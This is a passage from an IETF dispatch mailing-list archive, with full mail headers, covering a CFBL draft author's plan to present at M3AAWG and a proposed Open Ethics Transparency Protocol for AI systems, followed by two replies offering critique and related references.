b=QLN1x9/HP1K5hCXpGfy9Is5mpJH2bsNlmpLHuBVKnqDxWdrNBiQIj3BiTQq1TMQCBC WsjYf1xreyrxhIYtF5BHkccrEenZNngw99EaoqjON7jOoVH3l6yk8wkbAt/aEP0I7AzN 2V33RrJqsstq/8RYnc9JVI7yFFreVnpg1R03cmM5AlKQqIlumA1wEFXnKleiU2IUOvta Sdkqs+pYUnHXJq89vZu9n0ZSh8X7dXf6nEefvP2L/ikuFQR+PZ+OUqCWbfQ3I3s6yOwl WtCpqw/5qhYXUtgHtF/zZmqhYr40HI1UlfzR+HR+7YCbkAvwH3cCIi+tAsFvt38lxwde 9/AA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:from:subject:to:cc:references:message-id:date :user-agent:mime-version:in-reply-to:content-language; bh=/TK41S+6fNdEcpuzIjfnLbWMT6aWMsyYjyVvRvJTB1Q=; b=bKS7VjntkFgACYwhKegHvFWzeOI9GMRI1j2cWrureVoHjA7KpXJONnAJK200go2XU6 rnvhbrrAhnp+bUlTxUp28MvhMixW+CZnT3s/TvjJ+XsGSAXeGk9h+2j9UmacZWS5znmd 0rySKT0jFPzxVt7YCYD1KNcuxhXtVqtABpfgwECLdJo90kjLG/H+cHsOShfr/NYjlYqb i63NvCxnVslu62uM9L4E743+2L0UyL6k0A1bQPMNkLE78I3R4tRj1kLLn/50MoK08UKg YwqfaXVOdpAAjzrjwCM+AGxGXDAoNCJUo/FtUqJSCmyEDSuAUbu2Gea/d0bdObJSUVRD PYew== X-Gm-Message-State: AOAM530vz62oP+7l1GuZWY4I1dWNRIpjTKxYSvG0G+xH6sEp6ad/0LmX ICHavRig/lQ93Wycjylpeuxw2w== X-Google-Smtp-Source: ABdhPJy1Ny5nM25j0vOb2bOVvzOQV4ezfNhHH+EkP22s4UnY+CnhuDNIa2/rMOe58TCtkl3FqMDm0w== X-Received: by 2002:a05:6000:18a4:: with SMTP id b4mr16313484wri.228.1643612127674; Sun, 30 Jan 2022 22:55:27 -0800 (PST) Received: from Jan-Philipps-MBP-Work.local (crash.crsend.com. [80.228.25.228]) by smtp.gmail.com with ESMTPSA id n11sm9768576wms.3.2022.01.30.22.55.26 (version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128); Sun, 30 Jan 2022 22:55:27 -0800 (PST) From: Jan-Philipp Benecke To: dispatch@ietf.org Cc: ietf-smtp@ietf.org References: <4675435d-f889-b0a2-e74a-6e4b2f1d963c@cleverreach.com> <85ca6a8f-382d-40ad-8fac-de4be5382097@beta.fastmail.com> Message-ID: <9a6a695f-6b83-5ae6-e543-a58e5d6ec32b@cleverreach.com> Date: Mon, 31 Jan 2022 07:55:25 +0100 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:52.0) Gecko/20100101 PostboxApp/7.0.54 MIME-Version: 1.0 In-Reply-To: <85ca6a8f-382d-40ad-8fac-de4be5382097@beta.fastmail.com> Content-Type: multipart/alternative; boundary="------------60EE3582668A189377A00EE6" Content-Language: en-US Archived-At: Subject: Re: [dispatch] Discussion about draft-benecke-cfbl-address-header X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Jan 2022 06:55:36 -0000 This is a multi-part message in MIME format. --------------60EE3582668A189377A00EE6 Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: 8bit Hey Bron, we're currently working on joining the M3AAWG. I'm planing to shortly introduce this draft on the mid-year meeting. I'm already in contact with a board member about this. Best, Jan-Philipp Am 28.01.22 um 01:41 schrieb Bron Gondwana: > Hi Jan-Philipp, > > There will be others from that alliance at M3AAWG in San Francisco > next month I'm fairly sure. It is the first in person meeting for a > while, so I dunno. There are definitely people from 1&1 who have > attended in the past, for example. > > I'm going to be attending M3AAWG, and am happy to chat with people.  I > definitely do recommend M3AAWG to you as a good place to network with > other senders and also mailbox providers. > > You definitely should consider joining m3aawg before the mid-year > meeting in London. https://www.m3aawg.org/upcoming-meetingsv2 says: > 55th General Meeting > June 13-16, 2022 London, England > Park Plaza Riverbank London > > Cheers, > > Bron. --------------60EE3582668A189377A00EE6 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit

Hey Bron,

we're currently working on joining the M3AAWG.
I'm planing to shortly introduce this draft on the mid-year meeting.
I'm already in contact with a board member about this.
Best,
Jan-Philipp

Am 28.01.22 um 01:41 schrieb Bron Gondwana:
Hi Jan-Philipp,

There will be others from that alliance at M3AAWG in San Francisco next month I'm fairly sure. It is the first in person meeting for a while, so I dunno.  There are definitely people from 1&1 who have attended in the past, for example.

I'm going to be attending M3AAWG, and am happy to chat with people.  I definitely do recommend M3AAWG to you as a good place to network with other senders and also mailbox providers.

You definitely should consider joining m3aawg before the mid-year meeting in London.  https://www.m3aawg.org/upcoming-meetingsv2 says:
55th General Meeting
June 13-16, 2022 London, England 
Park Plaza Riverbank London

Cheers,

Bron.
--------------60EE3582668A189377A00EE6-- From nobody Mon Jan 31 08:13:35 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 05E763A0AE2; Mon, 31 Jan 2022 08:13:24 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.433 X-Spam-Level: X-Spam-Status: No, score=-6.433 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, RCVD_IN_DNSWL_HI=-5, SPF_HELO_NONE=0.001, SPF_SOFTFAIL=0.665, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=openethics.ai Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jSJ7YImw7ofq; Mon, 31 Jan 2022 08:13:18 -0800 (PST) Received: from nlskm21.hostsila.org (nlskm21.hostsila.org [88.218.28.6]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 7BDFE3A0AEF; Mon, 31 Jan 2022 08:13:18 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=openethics.ai; s=default; h=Content-Transfer-Encoding:Content-Type: Message-ID:Subject:Cc:To:From:Date:MIME-Version:Sender:Reply-To:Content-ID: Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe: List-Subscribe:List-Post:List-Owner:List-Archive; bh=2TUWEQJ0uOUvVqAaFZi68o1AXN3/R+98Wx38AWlqz5g=; b=KTu4N5LLtQhE344hl+Ps5yk36P yZrA82RIlzzMVqOmtRmOdQ2+O/FHNUo3qYFHabJqtaq/C06XAfkypb0DMCMxJSU3U8eWbiCTjnsV6 GRKhQfVwprZwh6aeto10TFUzHs15Z/cgqgKbog9j3vFKhaFZu8oMjlxKII8XuhWdDCR2MtksPnVGk PY4VSDklp1Wtn0rs8bUL8LnkbCh4za5sd4rwOrTcEGsbiffckK8FA17PXhISGPb9gL7q6uP0K6EaU fwSAB+v3yl9xk7dFz/j1XLghTQ5+lwtTWXGmgLuSrTZB0ee6MsbJ4KFo3avP0+sXjbuzOf/uZM3sB 7w9pBRpg==; Received: from [127.0.0.1] (port=1956 helo=nlskm21.hostsila.org) by nlskm21.hostsila.org with esmtpa (Exim 4.94.2) (envelope-from ) id 1nEZIq-0006uh-4Z; Mon, 31 Jan 2022 18:13:15 +0200 MIME-Version: 1.0 Date: Mon, 31 Jan 2022 18:13:15 +0200 From: n.lukianets@openethics.ai To: art@ietf.org, secdispatch@ietf.org, dispatch@ietf.org, hrpc@irtf.org User-Agent: Roundcube Webmail/1.4.12 Message-ID: <6dac86b0eb3b96490dadffdc0f1d307a@openethics.ai> X-Sender: n.lukianets@openethics.ai Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - nlskm21.hostsila.org X-AntiAbuse: Original Domain - ietf.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - openethics.ai X-Get-Message-Sender-Via: nlskm21.hostsila.org: authenticated_id: n.lukianets@openethics.ai X-Authenticated-Sender: nlskm21.hostsila.org: n.lukianets@openethics.ai X-Source: X-Source-Args: X-Source-Dir: Archived-At: Subject: [dispatch] Open Ethics Transparency Protocol X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Jan 2022 16:13:24 -0000 Hi everyone, Nikita Lukianets from the Open Ethics initiative here. I've been working on the mechanisms to enable transparency for data collection and data processing practices for autonomous systems and specifically, those powered by machine learning models. Since 2020 I have started to draft a guiding document to reflect ways disclosures could be submitted, verified, and exchanged. Eventually, I would like to see how this work could result in an open standard. I've chosen IETF as a home for this work as AI-powered applications are becoming ubiquitous. Therefore, we should start looking at them from the internet standard and supply chain perspectives. There's an emergent need to bring a legally-agnostic and standardized way to describe these systems from privacy, security, fairness, datasets, and explainability stances. The idea is simple * Following the example of the food (construction, pharma, electrical appliance) industry, we need every application to (voluntary) disclose the "ingredients", e.g. how data is collected and outputs are produced. * We need to have a standard way (protocol) to represent each disclosure in human- and machine-readable formats, validate, verify and process them. * Complex apps will involve chaining the disclosures for the components involved. My motivation is to continue the discussion here and get feedback allowing us to iterate on the protocol. I'd like to bring this discussion to a relevant group or/and welcome the creation of the new one, also potentially bringing the conversation to the IETF meeting in Vienna. Below are the links with more info Article to bring the context, in plain English https://lukianets.medium.com/why-algorithmic-transparency-needs-a-protocol-2b6d5098572f The IETF I-D https://datatracker.ietf.org/doc/draft-lukianets-open-ethics-transparency-protocol/ GitHub repo https://github.com/OpenEthicsAI/OETP Thanks a lot for your help and thoughts Nikita Lukianets Founder, CTO PocketConfidant Founder Open Ethics initiative Twitter: @nikiluk https://fr.linkedin.com/in/nikiluk Schedule a 30 min call: https://lukianets.com/meet/ From nobody Mon Jan 31 12:46:39 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 42B913A172C; Mon, 31 Jan 2022 12:46:33 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.099 X-Spam-Level: X-Spam-Status: No, score=-2.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=sandelman.ca Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id miu3Yp_oojJq; Mon, 31 Jan 2022 12:46:27 -0800 (PST) Received: from tuna.sandelman.ca (tuna.sandelman.ca [209.87.249.19]) (using TLSv1.2 with cipher ADH-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 9C37E3A1731; Mon, 31 Jan 2022 12:46:27 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by tuna.sandelman.ca (Postfix) with ESMTP id 0AFE038EE0; Mon, 31 Jan 2022 15:53:34 -0500 (EST) Received: from tuna.sandelman.ca ([127.0.0.1]) by localhost (localhost [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 21TWZuTus16L; Mon, 31 Jan 2022 15:53:30 -0500 (EST) Received: from sandelman.ca (obiwan.sandelman.ca [IPv6:2607:f0b0:f:2::247]) by tuna.sandelman.ca (Postfix) with ESMTP id E3E5E38ED4; Mon, 31 Jan 2022 15:53:29 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=sandelman.ca; s=mail; t=1643662409; bh=EWIKmqAjZTktsvBGXQ/oegpYYjehVnGT/R7ow5h2yIQ=; h=From:To:cc:Subject:In-Reply-To:References:Date:From; b=ojyPlxr0Gb6eVztoLlYWZrQGNLdDOV/FwFHjMOImaDwfY45ifnCIOyS4PXf63pwC8 yU0l6v3eYDo3EXSDKwrLIGc4DEXxiM3qo4EQWWKuvCJ2u5KMMIX2CyW2ljXtfyjkdI LZcY1W68zFoge43suhfKBpd+UrSkU0a0D2KjTVV0otLz/hdY6mouEPL+iI2MMmIQH5 92Wg2b2UkwUBUm/LxMihKvDvpO7D1etVRoFrKxFXGXn/1SInbkgHPtR4AQlfuv3DNX kPCjf4NRBvX85BM3S3ZRnNOBjfwt6OIHUCBbI0Gek25/SCu/oFCa0PJhwjVTn/GVCc GG/zbY8oYIABw== Received: from localhost (localhost [IPv6:::1]) by sandelman.ca (Postfix) with ESMTP id 7DA0C1CC; Mon, 31 Jan 2022 15:46:21 -0500 (EST) From: Michael Richardson To: n.lukianets@openethics.ai cc: art@ietf.org, secdispatch@ietf.org, dispatch@ietf.org, hrpc@irtf.org In-Reply-To: <6dac86b0eb3b96490dadffdc0f1d307a@openethics.ai> References: <6dac86b0eb3b96490dadffdc0f1d307a@openethics.ai> X-Mailer: MH-E 8.6+git; nmh 1.7+dev; GNU Emacs 26.1 X-Face: $\n1pF)h^`}$H>Hk{L"x@)JS7<%Az}5RyS@k9X%29-lHB$Ti.V>2bi.~ehC0; <'$9xN5Ub# z!G,p`nR&p7Fz@^UXIn156S8.~^@MJ*mMsD7=QFeq%AL4m Archived-At: Subject: Re: [dispatch] [Secdispatch] Open Ethics Transparency Protocol X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Jan 2022 20:46:33 -0000 --=-=-= Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable n.lukianets@openethics.ai wrote: > I've been working on the mechanisms to enable transparency for data > collection and data processing practices for autonomous systems and > specifically, those powered by machine learning models. Since 2020 I > have started to draft a guiding document to reflect ways disclosures > could be submitted, verified, and exchanged. Eventually, I would like > to see how this work could result in an open standard. Are you talking about security disclosures? Or something else? I read the connected links and I think it has something to do with disclosi= ng risks with Machine Learning systems. > I've chosen IETF as a home for this work as AI-powered applications a= re > becoming ubiquitous. Therefore, we should start looking at them from > the internet standard and supply chain perspectives. There's an > emergent need to bring a legally-agnostic and standardized way to > describe these systems from privacy, security, fairness, datasets, and > explainability stances. ... > The idea is simple * Following the example of the food (construction, > pharma, electrical appliance) industry, we need every application to > (voluntary) disclose the "ingredients", e.g. how data is collected and > outputs are produced. * We need to have a standard way (protocol) to Sounds like a kind of (software) Bill of Materials. SBOM is not really occuring inside the IETF, but rather at places like NIST. We have some of it in the MUD (RFC8520) space, some in SACM (CoRIM), but mostly it is at NIST/NTIA. I don't think SBOM fits at all though. > Below are the links with more info Article to bring the context, in > plain English > https://lukianets.medium.com/why-algorithmic-transparency-needs-a-pro= tocol-2b6d5098572f I read this, but and while it explained some of the why, it didn't make it clear what your how is. > The IETF I-D > https://datatracker.ietf.org/doc/draft-lukianets-open-ethics-transpar= ency-protocol/ I scanned your document. You have a pretty good grasp of a reasonable syntax, and in some ways it is similiar to securitytxt in syntax. But, I don't really understand the semantics of the content, and your examp= le in section 5 didn't help me at all. I think you need a more detailed, more well worked set of examples to motivate things. Avoid getting into the syntax: how would practices be described, attested to, etc? =2D- Michael Richardson . o O ( IPv6 I=C3=B8T consulti= ng ) Sandelman Software Works Inc, Ottawa and Worldwide --=-=-= Content-Type: application/pgp-signature; name="signature.asc" -----BEGIN PGP SIGNATURE----- iPMEAQEKAB0WIQSk7ZHEG9TCGBNASfm/sjw/rPYc8wUCYfhKnQAKCRC/sjw/rPYc 84LqBf450FvVyLen58nHNhjXr0soueoDnbdxu3Zou7I/BdtVciOoDOXP40Chzcfb X9Stf0PoVpqfiTIMd21aNz341oZhaozG2GDXUuhbRZMnvEOnDjYH2pM3X5+eaz0M BmxdRSh4lmtU+2TpJmYXXMy/NRWxFrtxI/T+oN9Otz7HCUzMjvhSvXNuKyc6dxdC uqSeO7i/YzqYdiGtpFVtBSci7GubrOatxLTh8iFjn3GTPKwaTsGGaRqmwEXs0fvM mC7A44Y= =C3jx -----END PGP SIGNATURE----- --=-=-=-- From nobody Mon Jan 31 17:22:42 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 39DAE3A0A94; Mon, 31 Jan 2022 17:22:22 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.497 X-Spam-Level: X-Spam-Status: No, score=-1.497 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FORGED_FROMDOMAIN=0.25, FREEMAIL_FROM=0.001, HEADER_FROM_DIFFERENT_DOMAINS=0.25, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=no autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=gmail.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id DavajM-xXsmN; Mon, 31 Jan 2022 17:22:17 -0800 (PST) Received: from mail-pj1-x102d.google.com (mail-pj1-x102d.google.com [IPv6:2607:f8b0:4864:20::102d]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id A8A1E3A0A8E; Mon, 31 Jan 2022 17:22:17 -0800 (PST) Received: by mail-pj1-x102d.google.com with SMTP id my12-20020a17090b4c8c00b001b528ba1cd7so873925pjb.1; Mon, 31 Jan 2022 17:22:17 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=sender:from:to:cc:references:in-reply-to:subject:date:message-id :mime-version:content-transfer-encoding:content-language :thread-index; bh=jlZC+f7YroDiTQ3h2DbDHhNmSE/LI0mkenPj8oSXS2Q=; b=FeQSNyVin/OWO0l7vxuZVygwimAXfkmrdM6tqbFQ+DRCxCcl03PdcXi0nhQp8HzJbv AmrxQTrdk/C5qg0L20E01Hc7JTZRF8FnDyXqKc3r6cyHVRsrDXWFtX+0AUGNKOTqxJLJ qkdpka6JjKNFGbBGiQZ9m4AawCJK0xRH1Ho9Xi6mV8KQawevlbF9VsxcdNR0hE3QU7rv 3G4y2dg89nQoxIC9YX7A90HDnwQYNWYlxmsUsZTe+ZprPolC1AddBBN0jtVqMQDycXAz 28kNRF7nu3KVd1Pgt1eg+sSixGtbvEPrz/j0ooBBNiMHC/S/EFIwROqCeMu1i8QEk6kw bmoQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:sender:from:to:cc:references:in-reply-to:subject :date:message-id:mime-version:content-transfer-encoding :content-language:thread-index; bh=jlZC+f7YroDiTQ3h2DbDHhNmSE/LI0mkenPj8oSXS2Q=; b=yEVTePCsVME0l8b7KI1fCgaw0FSzuuyUO5JEObC4kaQ123DI5KsEJhAAOAXLy7IG3O wS4VQOgygHZ0MuzAz1v+c7BYJ5sC1zaXM6VZo6teYOOBd/1x3CyxZfF1LYqX2WfUoeIc KDUkgu3EUeWwIo/rXrsWPYoVFMIZaBw8zVr0xnJPFNRpEhK26AL/CbaRSbSOqFQmZfGM /MEGoeS1KZe/vl4mBT+emGO0sqw9dehGxjuhPdi7abgIlr2+hLuKMZPtqJ0kd12ZQDT5 kI+8HpybYyfB3OimMh9m34eRf9tEVc9Zbo313gGt27h2jBLmoXHeOHMaPMcypWDEJSDA P4yg== X-Gm-Message-State: AOAM531AeJO9knmb/83/PA+YIpA1C0uzIfhnb3Otns6YY8eWKuZSbfZd xfZ3LXNJYgvVXeSS/7sonm1mzu+QfuI= X-Google-Smtp-Source: ABdhPJwwmo/QoYLtAPx3DDHKZnns8O/rKceGZpVNwUoS12U6mafvnSUv1ANjgzHaHRDTWRnoXxRcmA== X-Received: by 2002:a17:90a:e64e:: with SMTP id ep14mr37375700pjb.111.1643678535402; Mon, 31 Jan 2022 17:22:15 -0800 (PST) Received: from TVPC (c-73-158-116-21.hsd1.ca.comcast.net. [73.158.116.21]) by smtp.gmail.com with ESMTPSA id x17sm19162302pfa.105.2022.01.31.17.22.14 (version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128); Mon, 31 Jan 2022 17:22:14 -0800 (PST) Sender: Larry Masinter From: Larry Masinter X-Google-Original-From: "Larry Masinter" To: "'Michael Richardson'" , Cc: , , , References: <6dac86b0eb3b96490dadffdc0f1d307a@openethics.ai> <3343.1643661981@localhost> In-Reply-To: <3343.1643661981@localhost> Date: Mon, 31 Jan 2022 17:22:14 -0800 Message-ID: <004f01d8170a$25c35620$714a0260$@acm.org> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 16.0 Content-Language: en-us Thread-Index: AQJ0xNx4xnf/PTT5tNuOxHOOtOP9agErbCJiqzstDmA= Archived-At: Subject: Re: [dispatch] [art] [Secdispatch] Open Ethics Transparency Protocol X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Feb 2022 01:22:23 -0000 Check out https://github.com/w3ctag/ethical-web-principles which seems to have some momentum and some similar goals. -- https://LarryMasinter.net https://interlisp.org